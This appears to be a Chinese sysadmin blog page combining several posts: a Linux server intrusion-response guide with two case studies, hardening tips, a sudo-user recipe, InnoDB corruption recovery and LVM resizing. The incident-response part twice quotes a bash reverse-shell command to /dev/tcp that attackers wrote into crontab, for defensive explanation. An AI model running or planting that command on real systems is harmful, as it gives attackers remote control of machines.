在主机上搭建的lnmp环境，在修改相关文件有一个html文件的属性的时候
chmod 777 header.html
chmod: changing permissions of `header.html’: Operation not permitted
但是报了上面的一个错误
费了一番周折，终于查到用 chattr 可以解除这个限制
首先先查看一下属性
lsattr header.html
—-i——– header.html
然后去除i这个属性
chattr -i header.html
经过这一步操作后，就可以使用chmod来修改文件属性了
遇到服务器被黑，很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急，但如果是线上服务器就不能立即采用任何影响业务的手段了，需要根据服务器业务情况分类处理。
下面我们看一个标准的服务器安全应急影响应该怎么做，也算是笔者从事安全事件应急近 6 年以来的一些经验之谈，借此抛砖引玉，希望大神们不吝赐教。
根据安全事件通知源的不同，分为两种：
外界通知：和报告人核实信息，确认服务器/系统是否被入侵。现在很多企业有自己的 SRC（安全响应中心），在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。
自行发现：根据服务器的异常或故障判断，比如对外发送大规模流量或者系统负载异常高等，这种情况一般是运维工程师发现并核实的。
现场保护（运维）
我们很多人看过大陆的电视剧《重案六组》，每次接到刑事案件，刑警们第一时间就是封锁现场、保存现场原状。
同样道理，安全事件发生现场，跟刑事案件发生现场一样，需要保存第一现场重要信息，方便后面入侵检测和取证。
保存现场环境（截图）
相关信息采集命令如下：
进程信息：ps axu
网络信息：netstat –a
网络+进程：lsof / netstat -p
攻击者登陆情况（截图）
相关信息采集命令如下：
查看当前登录用户：w 或 who -a
服务器保护（运维/机房）
这里的现场保护和服务器保护是两个不同的环节，前者注重取证，后者注重环境隔离。
核实机器被入侵后，应当尽快将机器保护起来，避免被二次入侵或者当成跳板扩大攻击面。
此时，为保护服务器和业务，避免服务器被攻击者继续利用，应尽快迁移业务，立即下线机器。
如果不能立即处理，应当通过配置网络 ACL 等方式，封掉该服务器对网络的双向连接。
影响范围评估（运维/开发）
一般是运维或者程序确认影响范围，需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露，如果是代码或者数据库泄露了，则需要程序评估危害情况与处置方法。
影响访问评估一般从下面几点来入手：
具体业务架构：Web(PHP/Java， WebServer)， Proxy， DB等。
IP 及所处区域拓扑等：VLAN 内服务器和应用情况。
确定同一网络下面服务器之间的访问：可以互相登陆，是否需要 Key 或者是密码登录。
由此确定检查影响范围，确认所有受到影响的网段和机器。
在线分析（安全人员/运维）
这时需要根据个人经验快速在线分析，一般是安全人员和运维同时在线处理，不过会涉及多人协作的问题，需要避免多人操作机器时破坏服务器现场，造成分析困扰。
之前笔者遇到一个类似的问题，就是运维排查时敲错了 iptables 的命令，将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录，结果安全人员上来检查时就被这条记录迷惑了，导致处理思路受到一定干扰。
所有用户 History 日志检测
关键字：wget/curl， gcc， 或者隐藏文件， 敏感文件后缀（.c，.py，conf， .pl， .sh)。
检查是否存在异常用户。
检查最近添加的用户，是否有不知名用户或不规范提权。
找出 root 权限的用户。
可以执行以下命令检查：
grep -v -E “^#” /etc/passwd | awk -F： ‘$3 == 0 { print $1}’
反连木马判断
netstat –a
注意非正常端口的外网 IP
可疑进程判断
判断是否为木马 ps –aux
重点关注文件（隐藏文件）， Python脚本，Perl脚本，Shell 脚本（bash/sh/zsh）。
使用 which，whereis，find 定位。
Crontab 检测
不要用 crontab –l 查看 crontab（绕过检测），也有通过写 crontab 配置文件反弹Shell 的，笔者接触过几次，一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
系统日志检测
检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message，判断是否为口令破解攻击。
/etc/ssh/sshd_config 文件确认认证方式。
确认日志是否被删除或者清理过的可能（大小判断）。
last/lastb 可以作为辅助，不过可能不准确。
NHIDS 正常运行判断
是否安装：ls /etc/ossec
是否运行正常：ps axu |grep nhids，三个 nhids 进程则表示正常
其他攻击分析
抓取网络数据包并进行分析，判断是否为拒绝服务攻击，这里需要注意，一定要使用 -w 参数，这样才能保存成 pcap 格式导入到 wireshark，这样分析起来会事半功倍。
tcpdump -w tcpdump.log
安全相关的关键文件和数据备份（运维）
可以同步进行，使用 sftp/rsync 等将日志上传到安全的服务器：
打包系统日志：参考：$ tar -jcvf syslog.tar.bz2 /var/log
打包 Web 日志：access log
打包 History 日志（所有用户），参考：$ cp /home/user/，history user_history
打包 crontab 记录
打包密码文件：/etc/passwd， /etc/shadow
打包可疑文件、后门、Shell 信息
深入分析（安全人员）
初步锁定异常进程和恶意代码后，将受影响范围梳理清楚，封禁了入侵者对机器的控制后，接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。
Webshell 入侵
使用 Webshell_check.py 脚本检测 Web 目录：
$ python webshell_check.py /var/www/ >result.txt
查找 Web 目录下所有 nobody 的文件，人工分析：
$ find /var/www –user nobody >nobody.txt
如果能确定入侵时间，可以使用 find 查找最近时间段内变化的文件：
$ find / -type f -name “\.?*” |xargs ls -l |grep “Mar 22″
$ find / -ctime/-mtime 8
利用 Web 漏洞直接反连 Shell
分析 access.log：
缩小日志范围：时间，异常 IP 提取。
攻击行为提取：常见的攻击 exp 识别。
系统弱口令入侵
认证相关日志 auth/syslog/message 排查：
爆破行为定位和 IP 提取。
爆破是否成功确定：有爆破行为 IP 是否有 accept 记录。
如果日志已经被清理，使用工具（比如John the Ripper）爆破 /etc/passwd，/etc/shadow。
其他入侵
其他服务器跳板到本机。
后续行为分析
History 日志：提权、增加后门，以及是否被清理。
Sniffer：网卡混杂模式检测 ifconfig |grep –i proc。
内网扫描：网络 nmap/ 扫描器，socks5 代理。
确定是否有 rootkit：rkhunter， chkrootkit， ps/netstat 替换确认。
后门清理排查
根据时间点做关联分析：查找那个时间段的所有文件。
一些小技巧：/tmp 目录， ls –la，查看所有文件，注意隐藏的文件。
根据用户做时间关联：比如 nobody。
其他机器的关联操作
其他机器和这台机器的网络连接 （日志查看）、相同业务情况（同样业务，负载均衡）。
整理事件报告（安全人员）
事件报告应包含但不限于以下几个点：
分析事件发生原因：事件为什么会发生的原因。
分析整个攻击流程：时间点、操作。
分析事件处理过程：整个事件处理过程总结是否有不足。
分析事件预防：如何避免事情再次发生。
总结：总结事件原因，改进处理过程，预防类似事件再次发生。
处理中遇到的比较棘手的事情
日志和操作记录全被删了，怎么办？
strace 查看 losf 进程，再尝试恢复一下日志记录，不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了，dd 硬盘数据再去还原出来。
系统账号密码都修改了，登不进去？
重启进单用户模式修改 root 密码，或者通过控制卡操作，或者直接还原系统，都搞不定就直接重装吧。
使用常见的入侵检测命令未发现异常进程，但是机器在对外发包，这是怎么回事？
这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换，可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。
如果发现不一致，肯定是被替换了，可以从其他机器上拷贝命令到本机替换，或者 alias 为其他名称，避免为恶意程序再次替换。
被 getshell 怎么办？
漏洞修复前，系统立即下线，用内网环境访问。
上传点放到内网访问，不允许外网有类似的上传点，有上传点，而且没有校验文件类型很容易上传 Webshell。
被 getshell 的服务器中是否有敏感文件和数据库，如果有请检查是否有泄漏。
hosts 文件中对应的 host 关系需要重新配置，攻击者可以配置 hosts 来访问测试环境。
重装系统。
案例分析
上面讲了很多思路的东西，相信大家更想看看实际案例，下面介绍两个案例。
案例 1
一个别人处理的案例，基本处理过程如下：
通过外部端口扫描收集开放端口信息，然后获取到反弹 Shell 信息，登陆机器发现关键命令已经被替换，后面查看 History 记录，发现疑似木马文件，通过简单逆向和进程查看发现了异常进程，从而锁定了入侵原因。
具体内容可以查看：http://www.freebuf.com/articles/system/50728.html
案例 2
一个笔者实际处理过的案例，基本处理流程跟上面提到的思路大同小异。
整个事情处理经过大致如下：
1、运维发现一台私有云主机间歇性的对外发送高达 800Mbps 的流量，影响了同一个网段的其他机器。
2、安全人员接到通知后，先确认了机器属于备机，没有跑在线业务，于是通知运维封禁 iptables 限制外网访问。
3、运维为安全人员临时开通机器权限，安全人员通过 History 和 ps 找到的入侵记录和异常进程锁定了对外大量发包的应用程序，清理了恶意进程并删除恶意程序。
恶意进程如下，经过在网络搜索发现是一种 DDOS 木马，但没有明确的处理思路：
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
处理过程中，安全人员怀疑系统文件被替换，通过对比该机器与正常机器上面的 ps、netstat 等程序的大小发现敏感程序已经被替换，而且 mtime 也被修改。
正常机器：
du -sh /bin/ps
92K /bin/ps
du -sh /bin/netstat
120K /bin/netstat
被入侵机器：
du -sh /bin/netstat
2.0M /bin/netstat
du -sh /bin/ps
2.0M /bin/ps
将部分常用二进制文件修复后，发现异常进程被 kill 掉后仍重启了，于是安装杀毒软件 clamav 和 rootkit hunter 进行全盘扫描。
从而确认了被感染的所有文件，将那些可以删除的文件删除后再次 kill 掉异常进程，则再没有重启的问题。
4、影响范围评估
由于该机器只是备机，上面没有敏感数据，于是信息泄露问题也就不存在了。
扫描同一网段机器端口开放情况、排查被入侵机器 History 是否有对外扫描或者入侵行为，为此还在该网段机器另外部署蜜罐进行监控。
5、深入分析入侵原因
通过被入侵机器所跑服务、iptables 状态，确认是所跑服务支持远程命令执行。
并且机器 iptables 为空导致黑客通过往 /etc/crontab 中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行 Shell 反弹，从而入侵了机器。
6、验证修复、机器下线重装
进行以上修复操作后，监控未发现再有异常，于是将机器下线重装。
7、完成安全事件处理报告
每次安全事件处理后，都应当整理成报告，不管是知识库的构建，还是统计分析安全态势，都是很有必要的。
这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上，安全防护跟运维思路一样，都是要防患于未然，这时候的审计或者响应很难避免危害的发生了。
我们更希望通过安全意识教育、安全制度的建设，在问题显露端倪时即可消弭于无形。
Linux服务器安全防护要点
1、强化：密码管理
设定登录密码是一项非常重要的安全措施，如果用户的密码设定不合适，就很容易被破译，尤其是拥有超级用户使用权限的用户，如果没有良好的密码，将给系统造成很大的安全漏洞。
目前密码破解程序大多采用字典攻击以及暴力攻击手段，而其中用户密码设定不当，则极易受到字典攻击的威胁。很多用户喜欢用自己的英文名、生日或者账户等信息来设定密码，这样，黑客可能通过字典攻击或者是社会工程的手段来破解密码。所以建议用户在设定密码的过程中，应尽量使用非字典中出现的组合字符，并且采用数字与字符相结合、大小写相结合的密码设置方式，增加密码被黑客破解的难度。而且，也可以使用定期修改密码、使密码定期作废的方式，来保护自己的登录密码。
在多用户系统中，如果强迫每个用户选择不易猜出的密码，将大大提高系统的安全性。但如果passwd程序无法强迫每个上机用户使用恰当的密码，要确保密码的安全度，就只能依靠密码破解程序了。实际上，密码破解程序是黑客工具箱中的一种工具，它将常用的密码或者是英文字典中所有可能用来作密码的字都用程序加密成密码字，然后将其与Linux系统的/etc/passwd密码文件或/etc/shadow影子文件相比较，如果发现有吻合的密码，就可以求得明码了。在网络上可以找到很多密码破解程序，比较有名的程序是crack和john the ripper.用户可以自己先执行密码破解程序，找出容易被黑客破解的密码，先行改正总比被黑客破解要有利。
2、限定：网络服务管理
早期的Linux版本中，每一个不同的网络服务都有一个服务程序(守护进程，Daemon)在后台运行，后来的版本用统一的/etc/inetd服务器程序担此重任。Inetd是Internetdaemon的缩写，它同时监视多个网络端口，一旦接收到外界传来的连接信息，就执行相应的TCP或UDP网络服务。由于受inetd的统一指挥，因此Linux中的大部分TCP或UDP服务都是在/etc/inetd.conf文件中设定。所以取消不必要服务的第一步就是检查/etc/inetd.conf文件，在不要的服务前加上“#”号。
一般来说，除了http、smtp、telnet和ftp之外，其他服务都应该取消，诸如简单文件传输协议tftp、网络邮件存储及接收所用的imap/ipop传输协议、寻找和搜索资料用的gopher以及用于时间同步的daytime和time等。还有一些报告系统状态的服务，如finger、efinger、systat和netstat等，虽然对系统查错和寻找用户非常有用，但也给黑客提供了方便之门。例如，黑客可以利用finger服务查找用户的电话、使用目录以及其他重要信息。因此，很多Linux系统将这些服务全部取消或部分取消，以增强系统的安全性。Inetd除了利用/etc/inetd.conf设置系统服务项之外，还利用/etc/services文件查找各项服务所使用的端口。因此，用户必须仔细检查该文件中各端口的设定，以免有安全上的漏洞。
在后继的Linux版本中(比如Red Hat Linux7.2之后)，取而代之的是采用xinetd进行网络服务的管理。
当然，具体取消哪些服务不能一概而论，需要根据实际的应用情况来定，但是系统管理员需要做到心中有数，因为一旦系统出现安全问题，才能做到有步骤、有条不紊地进行查漏和补救工作，这点比较重要。
3、严格审计：系统登录用户管理
在进入Linux系统之前，所有用户都需要登录，也就是说，用户需要输入用户账号和密码，只有它们通过系统验证之后，用户才能进入系统。
与其他Unix操作系统一样，Linux一般将密码加密之后，存放在/etc/passwd文件中。Linux系统上的所有用户都可以读到/etc/passwd文件，虽然文件中保存的密码已经经过加密，但仍然不太安全。因为一般的用户可以利用现成的密码破译工具，以穷举法猜测出密码。比较安全的方法是设定影子文件/etc/shadow，只允许有特殊权限的用户阅读该文件。
在Linux系统中，如果要采用影子文件，必须将所有的公用程序重新编译，才能支持影子文件。这种方法比较麻烦，比较简便的方法是采用插入式验证模块(PAM)。很多Linux系统都带有Linux的工具程序PAM，它是一种身份验证机制，可以用来动态地改变身份验证的方法和要求，而不要求重新编译其他公用程序。这是因为PAM采用封闭包的方式，将所有与身份验证有关的逻辑全部隐藏在模块内，因此它是采用影子档案的最佳帮手。
此外，PAM还有很多安全功能：它可以将传统的DES加密方法改写为其他功能更强的加密方法，以确保用户密码不会轻易地遭人破译;它可以设定每个用户使用电脑资源的上限;它甚至可以设定用户的上机时间和地点。
Linux系统管理人员只需花费几小时去安装和设定PAM，就能大大提高Linux系统的安全性，把很多攻击阻挡在系统之外。
4、设定：用户账号安全等级管理
除密码之外，用户账号也有安全等级，这是因为在Linux上每个账号可以被赋予不同的权限，因此在建立一个新用户ID时，系统管理员应该根据需要赋予该账号不同的权限，并且归并到不同的用户组中。
在Linux系统中的部分文件中，可以设定允许上机和不允许上机人员的名单。其中，允许上机人员名单在/etc/hosts.allow中设置，不允许上机人员名单在/etc/hosts.deny中设置。此外，Linux将自动把允许进入或不允许进入的结果记录到/var/log/secure文件中，系统管理员可以据此查出可疑的进入记录。
每个账号ID应该有专人负责。在企业中，如果负责某个ID的职员离职，管理员应立即从系统中删除该账号。很多入侵事件都是借用了那些很久不用的账号。
在用户账号之中，黑客最喜欢具有root权限的账号，这种超级用户有权修改或删除各种系统设置，可以在系统中畅行无阻。因此，在给任何账号赋予root权限之前，都必须仔细考虑。
Linux系统中的/etc/securetty文件包含了一组能够以root账号登录的终端机名称。例如，在RedHatLinux系统中，该文件的初始值仅允许本地虚拟控制台(rtys)以root权限登录，而不允许远程用户以root权限登录。最好不要修改该文件，如果一定要从远程登录为root权限，最好是先以普通账号登录，然后利用su命令升级为超级用户。
5、谨慎使用：“r系列”远程程序管理
在Linux系统中有一系列r字头的公用程序，比如rlogin，rcp等等。它们非常容易被黑客用来入侵我们的系统，因而非常危险，因此绝对不要将root账号开放给这些公用程序。由于这些公用程序都是用。rhosts文件或者hosts.equiv文件核准进入的，因此一定要确保root账号不包括在这些文件之内。
由于r等远程指令是黑客们用来攻击系统的较好途径，因此很多安全工具都是针对这一安全漏洞而设计的。例如，PAM工具就可以用来将r字头公用程序有效地禁止掉，它在/etc/pam.d/rlogin文件中加上登录必须先核准的指令，使整个系统的用户都不能使用自己home目录下的。rhosts文件。
6、限制：root用户权限管理
Root一直是Linux保护的重点，由于它权力无限，因此最好不要轻易将超级用户授权出去。但是，有些程序的安装和维护工作必须要求有超级用户的权限，在这种情况下，可以利用其他工具让这类用户有部分超级用户的权限。sudo就是这样的工具。
sudo程序允许一般用户经过组态设定后，以用户自己的密码再登录一次，取得超级用户的权限，但只能执行有限的几个指令。例如，应用sudo后，可以让管理磁带备份的管理人员每天按时登录到系统中，取得超级用户权限去执行文档备份工作，但却没有特权去作其他只有超级用户才能作的工作。
sudo不但限制了用户的权限，而且还将每次使用sudo所执行的指令记录下来，不管该指令的执行是成功还是失败。在大型企业中，有时候有许多人同时管理Linux系统的各个不同部分，每个管理人员都有用sudo授权给某些用户超级用户权限的能力，从sudo的日志中，可以追踪到谁做了什么以及改动了系统的哪些部分。
值得注意的是，sudo并不能限制所有的用户行为，尤其是当某些简单的指令没有设置限定时，就有可能被黑客滥用。例如，一般用来显示文件内容的/etc/cat指令，如果有了超级用户的权限，黑客就可以用它修改或删除一些重要的文件。
7、追踪黑客踪迹：日志管理
当用户仔细设定了各种与Linux相关的配置(最常用日志管理选项)，并且安装了必要的安全防护工具之后，Linux操作系统的安全性的确大为提高，但是却并不能保证防止那些比较熟练的网络黑客的入侵。
在平时，网络管理人员要经常提高警惕，随时注意各种可疑状况，并且按时检查各种系统日志文件，包括一般信息日志、网络连接日志、文件传输日志以及用户登录日志等。在检查这些日志时，要注意是否有不合常理的时间记载。例如：
正常用户在半夜三更登录；
不正常的日志记录，比如日志只记录了一半就切断了，或者整个日志文件被删除了；
用户从陌生的网址进入系统；
因密码错误或用户账号错误被摈弃在外的日志记录，尤其是那些一再连续尝试进入失败，但却有一定模式的试错法；
非法使用或不正当使用超级用户权限su的指令；
重新开机或重新启动各项服务的记录。
上述这些问题都需要系统管理员随时留意系统登录的用户状况以及查看相应日志文件，许多背离正常行为的蛛丝马迹都应当引起高度注意。
8、横向扩展：综合防御管理
防火墙、IDS等防护技术已经成功地应用到网络安全的各个领域，而且都有非常成熟的产品。
在Linux系统来说，有一个自带的Netfilter/Iptables防火墙框架，通过合理地配置其也能起到主机防火墙的功效。在Linux系统中也有相应的轻量级的网络入侵检测系统Snort以及主机入侵检测系统LIDS(Linux Intrusion Detection System)，使用它们可以快速、高效地进行防护。
需要提醒注意的是：在大多数的应用情境下，我们需要综合使用这两项技术，因为防火墙相当于安全防护的第一层，它仅仅通过简单地比较IP地址/端口对来过滤网络流量，而IDS更加具体，它需要通过具体的数据包(部分或者全部)来过滤网络流量，是安全防护的第二层。综合使用它们，能够做到互补，并且发挥各自的优势，最终实现综合防御。
9、评测：漏洞追踪及管理
Linux作为一种优秀的开源软件，其自身的发展也日新月异，同时，其存在的问题也会在日后的应用中慢慢暴露出来。黑客对新技术的关注从一定程度上来说要高于我们防护人员，所以要想在网络攻防的战争中处于有利地位，保护Linux系统的安全，就要求我们要保持高度的警惕性和对新技术的高度关注。用户特别是使用Linux作为关键业务系统的系统管理员们，需要通过Linux的一些权威网站和论坛上尽快地获取有关该系统的一些新技术以及一些新的系统漏洞的信息，进行漏洞扫描、渗透测试等系统化的相关配套工作，做到防范于未然，提早行动，在漏洞出现后甚至是出现前的最短时间内封堵系统的漏洞，并且在实践中不断地提高安全防护的技能，这样才是一个比较的解决办法和出路。
10、保持更新：补丁管理
Linux作为一种优秀的开源软件，其稳定性、安全性和可用性有极为可靠的保证，世界上的Linux高手共同维护着个优秀的产品，因而起流通渠道很多，而且经常有更新的程序和系统补丁出现，因此，为了加强系统安全，一定要经常更新系统内核。
Kernel是Linux操作系统的核心，它常驻内存，用于加载操作系统的其他部分，并实现操作系统的基本功能。由于Kernel控制计算机和网络的各种功能，因此，它的安全性对整个系统安全至关重要。早期的Kernel版本存在许多众所周知的安全漏洞，而且也不太稳定，只有2.0.x以上的版本才比较稳定和安全(一般说来，内核版本号为偶数的相对稳定，而为奇数的则一般为测试版本，用户们使用时要多留意)，新版本的运行效率也有很大改观。在设定Kernel的功能时，只选择必要的功能，千万不要所有功能照单全收，否则会使Kernel变得很大，既占用系统资源，也给黑客留下可乘之机。
在Internet上常常有最新的安全修补程序，Linux系统管理员应该消息灵通，经常光顾安全新闻组，查阅新的修补程序。
三步创建一个用户，使他有与root一样的权限。
1. 上root下，创建一个用户“app”
[root@daddylinux~]#useradd app
[root@daddylinux~]#passwd app
2. 限定app使用root特权，如下所示，编辑visudo文件。
[root@daddylinux~]# visudo
3. 在最后一行，添加下列信息。
app ALL=(ALL) ALL
退出并保存。
设你正在运行使用InnoDB表格的MySQL,糟糕的硬件设备，驱动程序错误，内核错误，不幸的电源故障或某些罕见的MySQL错误使你的InnoDB表空间被损坏了。
在这种情况下，InnoDB的一般会出现这样的输出：
InnoDB: Database page corruption on disk ora failed
InnoDB: file read of page 7.
InnoDB: You may have to recover from a backup.
080703 23:46:16 InnoDB: Page dump in ascii and hex (16384bytes):
… 这里省略很多二进制和十六进制编码…
080703 23:46:16 InnoDB: Page checksum 587461377,prior-to-4.0.14-form checksum 772331632
InnoDB: stored checksum 2287785129, prior-to-4.0.14-form storedchecksum 772331632
InnoDB: Page lsn 24 1487506025, low 4 bytes of lsn at page end1487506025
InnoDB: Page number (if stored to page already) 7,
InnoDB: Database page corruption on disk or a failed
mysqldump导出库时报错如下：
“mysqldump: Error 2013: Lost connection to MySQL server during query when dumping table `; at row:6880″
或是操作对应表时，也会报错。这时数据库会重启。
当时想到的是在修复之前保证数据库正常，不是这么异常的无休止的重启。
使用innodb_force_recovery =1，正如你所看到的，即使日志文件中有校验失败的记录，但CHECK TABLE还是说表格是正确的。
这意味着你不能太依赖CHECKTABLE在InnoDB上执行的结果。
所以就修改了配置文件的一个参数：innodb_force_recovery
innodb_force_recovery影响整个InnoDB存储引擎的恢复状况。默认为0，表示当需要恢复时执行所有的，
innodb_force_recovery可以设置为1-6,大的数字包含前面所有数字的影响。
当设置参数值大于0后，可以对表进行select,create,drop操作,但insert,update或者delete这类操作是不允许的。
1(SRV_FORCE_IGNORE_CORRUPT):忽略检查到的corrupt页。
2(SRV_FORCE_NO_BACKGROUND):阻止主线程的运行，如主线程需要执行full purge操作，会导致crash。
3(SRV_FORCE_NO_TRX_UNDO):不执行事务回滚操作。
4(SRV_FORCE_NO_IBUF_MERGE):不执行插入缓冲的合并操作。
5(SRV_FORCE_NO_UNDO_LOG_SCAN):不查看重做日志，InnoDB存储引擎会将未提交的事务视为已提交。
6(SRV_FORCE_NO_LOG_REDO):不执行前滚的操作。
因为错误日志里面提示出现了坏页，导致数据库崩溃，所以这里把innodb_force_recovery 设置为1，忽略检查到的坏页。
重启数据库之后，找到错误信息出现的表
因为后者可以通过使用OPTIMIZE TABLE命令来修复，但这和更难以恢复的表格目录(table dictionary)被破坏的情况来说要好一些。
操作步骤：
修改my.cnf 配置文件，添加innodb_force_recovery = 1运行InnoDB，然后重启mysql 。
1，建议一个备份表，T_MinuteStore_BAK，使用MYISAM存储引擎，建表语句如下:
CREATE TABLE `T_MinuteStore_BAK` (
`T_MinuteStore_ID` bigint(20) NOT NULL AUTO_INCREMENT COMMENT ‘行标识’,
`siteID` int(11) DEFAULT NULL COMMENT ‘站点标识’,
`genTime` datetime DEFAULT NULL COMMENT ‘监测时间’,
`itemID` int(11) DEFAULT NULL COMMENT ‘监测项目’,
`value` varchar(255) DEFAULT NULL COMMENT ‘监测值’,
`flag` varchar(255) DEFAULT NULL COMMENT ‘异常标志’,
`filterFlag` bit(1) DEFAULT NULL COMMENT ‘过滤标志’,
PRIMARY KEY (`T_MinuteStore_ID`)
) ENGINE=MYISAM AUTO_INCREMENT=188995 DEFAULT CHARSET=utf8 COMMENT=’监测分钟数据–5分钟一组数据’;
2,把T_MinuteStore表中的数据导入到新表T_MinuteStore_BAK.
insert into T_MinuteStore_BAK select * from T_MinuteStore;
提示报错: 2013 (HY000): Lost connection TO MySQL server during query
你可能想对数据表进行扫描直到第一个被损坏的行，然后从MyISAM表中得到结果？
不幸的是，运行之后的T_MinuteStore_BAK表格是只有一部份数据。
这里查看T_MinuteStore_BAK表中，主键 T_MinuteStore_ID 从最小值到160861，可以看出是被顺序插入的数据。
那么现在就好办了，说明从16081之后，有损坏的数据行。
下面作下插入数据测试，看看大约有多少行数据损坏。
insert into T_MinuteStore_BAK select * from T_MinuteStore where T_MinuteStore_ID>161000;
执行命令后，还是报错。
最后测试;
161500
此主键之间的数据，有损坏，其它数据恢复正常。总计100万行数据，只丢了几百行数据，完全可以承受。
3, 删除掉原表： drop table T_MinuteStore;注释掉innodb_force_recovery 之后，重启Mysql。
4，重命名 T_MinuteStore_BAK：
rename table T_MinuteStore_BAK to T_MinuteStore;
5，最后将表T_MinuteStore修改回存储引擎：
alter table T_MinuteStore engine = innodb;
最后将数据库数据导出，测试导出成功，未发现问题。备份好数据，然后更换好硬盘，重装好Mysql ,将数据导入。
测试程序，一切正常。
一、目的
在使用CentOS6.3版本linux系统的时候，发现根目录(/)的空间不是很充足，而其他目录空间有很大的空闲，所以本文主要是针对现在已有的空间进行调整。首先，先来查看一下系统的空间分配情况：
1 2 3 4 5 6 7 8 | [root@CentOS-78 /]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_centos-lv_root 50G 14G 34G 30% / tmpfs 1.9G 0 1.9G 0% /dev/shm /dev/sda1 485M 37M 423M 8% /boot /dev/mapper/vg_centos-lv_home 404G 670M 382G 1% /home |
下面的详细步骤部分将从vg_centos-lv_home分区下取出100G的空间添加到/vg_centos-lv_root分区上去。
二、详细步骤
1、卸载vg_centos-lv_home分区
1 2 3 4 5 6 7 8 9 10 11 12 | [root@CentOS-78 /]# umount /home [root@CentOS-78 /]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_centos-lv_root 50G 14G 34G 30% / tmpfs 1.9G 0 1.9G 0% /dev/shm /dev/sda1 485M 37M 423M 8% /boot [root@CentOS-78 /]# resize2fs -p /dev/mapper/vg_centos-lv_home 282G resize2fs 1.41.12 (17-May-2010) Please run 'e2fsck -f /dev/mapper/vg_centos-lv_home' first. |
这一步设定vg_home-lv_home大小没有成功，系统提示我们先运行下面的命令，操作如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | [root@CentOS-78 /]# e2fsck -f /dev/mapper/vg_centos-lv_home e2fsck 1.41.12 (17-May-2010) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/mapper/vg_centos-lv_home: 1386/26836992 files (0.9% non-contiguous), 1855856/107344896 blocks [root@CentOS-78 /]# resize2fs -p /dev/mapper/vg_centos-lv_home 282G resize2fs 1.41.12 (17-May-2010) Resizing the filesystem on /dev/mapper/vg_centos-lv_home to 73924608 (4k) blocks. Begin pass 2 (max = 43) Relocating blocks XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Begin pass 3 (max = 3276) Scanning inode table XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Begin pass 4 (max = 266) Updating inode references XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX The filesystem on /dev/mapper/vg_centos-lv_home is now 73924608 blocks long. [root@CentOS-78 /]# mount /home [root@CentOS-78 /]# [root@CentOS-78 /]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_centos-lv_root 50G 14G 34G 30% / tmpfs 1.9G 0 1.9G 0% /dev/shm /dev/sda1 485M 37M 423M 8% /boot /dev/mapper/vg_centos-lv_home 278G 663M 263G 1% /home [root@CentOS-78 /]# [root@CentOS-78 /]# lvreduce -L 282G /dev/mapper/vg_centos-lv_home WARNING: Reducing active and open logical volume to 282.00 GiB THIS MAY DESTROY YOUR DATA (filesystem etc.) Do you really want to reduce lv_home? [y/n]: y Reducing logical volume lv_home to 282.00 GiB Logical volume lv_home successfully resized [root@CentOS-78 /]# |
查看一下lv目前的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | [root@CentOS-78 /]# vgdisplay --- Volume group --- VG Name vg_centos System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 5 VG Access read/write VG Status resizable MAX LV 0 Cur LV 3 Open LV 3 Max PV 0 Cur PV 1 Act PV 1 VG Size 465.27 GiB PE Size 4.00 MiB Total PE 119109 Alloc PE / Size 86472 / 337.78 GiB Free PE / Size 32637 / 127.49 GiB VG UUID 1k4ooN-RFV9-uyf1-uMYf-aERG-YaGs-ZNoSD6 |
Free PE / Size指定的应该是现在可在分配的空间。
4、增加vg_centos-lv_root分区的大小
将可用的空间添加到vg_centos-lv_root分区上面：
1 2 3 4 5 6 7 8 9 10 11 12 | [root@CentOS-78 /]# lvextend -L +127.40G /dev/mapper/vg_centos-lv_root Rounding up size to full physical extent 127.40 GiB Extending logical volume lv_root to 177.40 GiB Logical volume lv_root successfully resized [root@CentOS-78 /]# [root@CentOS-78 /]# resize2fs -p /dev/mapper/vg_centos-lv_root resize2fs 1.41.12 (17-May-2010) Filesystem at /dev/mapper/vg_centos-lv_root is mounted on /; on-line resizing required old desc_blocks = 4, new_desc_blocks = 12 Performing an on-line resize of /dev/mapper/vg_centos-lv_root to 46504960 (4k) blocks. The filesystem on /dev/mapper/vg_centos-lv_root is now 46504960 blocks long. |
5、再次查看分区大小
1 2 3 4 5 6 7 8 | [root@CentOS-78 /]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_centos-lv_root 175G 14G 153G 9% / tmpfs 1.9G 0 1.9G 0% /dev/shm /dev/sda1 485M 37M 423M 8% /boot /dev/mapper/vg_centos-lv_home 278G 663M 263G 1% /home |
我们发现vg_centos-lv_root分区的空间已经增加了125G，之所以比lv_home减少的空间要多25G主要是由于我们把系统所有的可用的空间都加在了lv_root分区。
三、所遇到的问题
1、在卸载/home目录的时候失败
可先执行如下fuser命令，然后再umount即可：
1 2 | [root@CentOS-78 /]# fuser -m /home [root@CentOS-78 /]# |
2、设定完lv_home的大小，再次mount该分区时，发现用df命令无法看到给分区，此时只要在mount一次即可
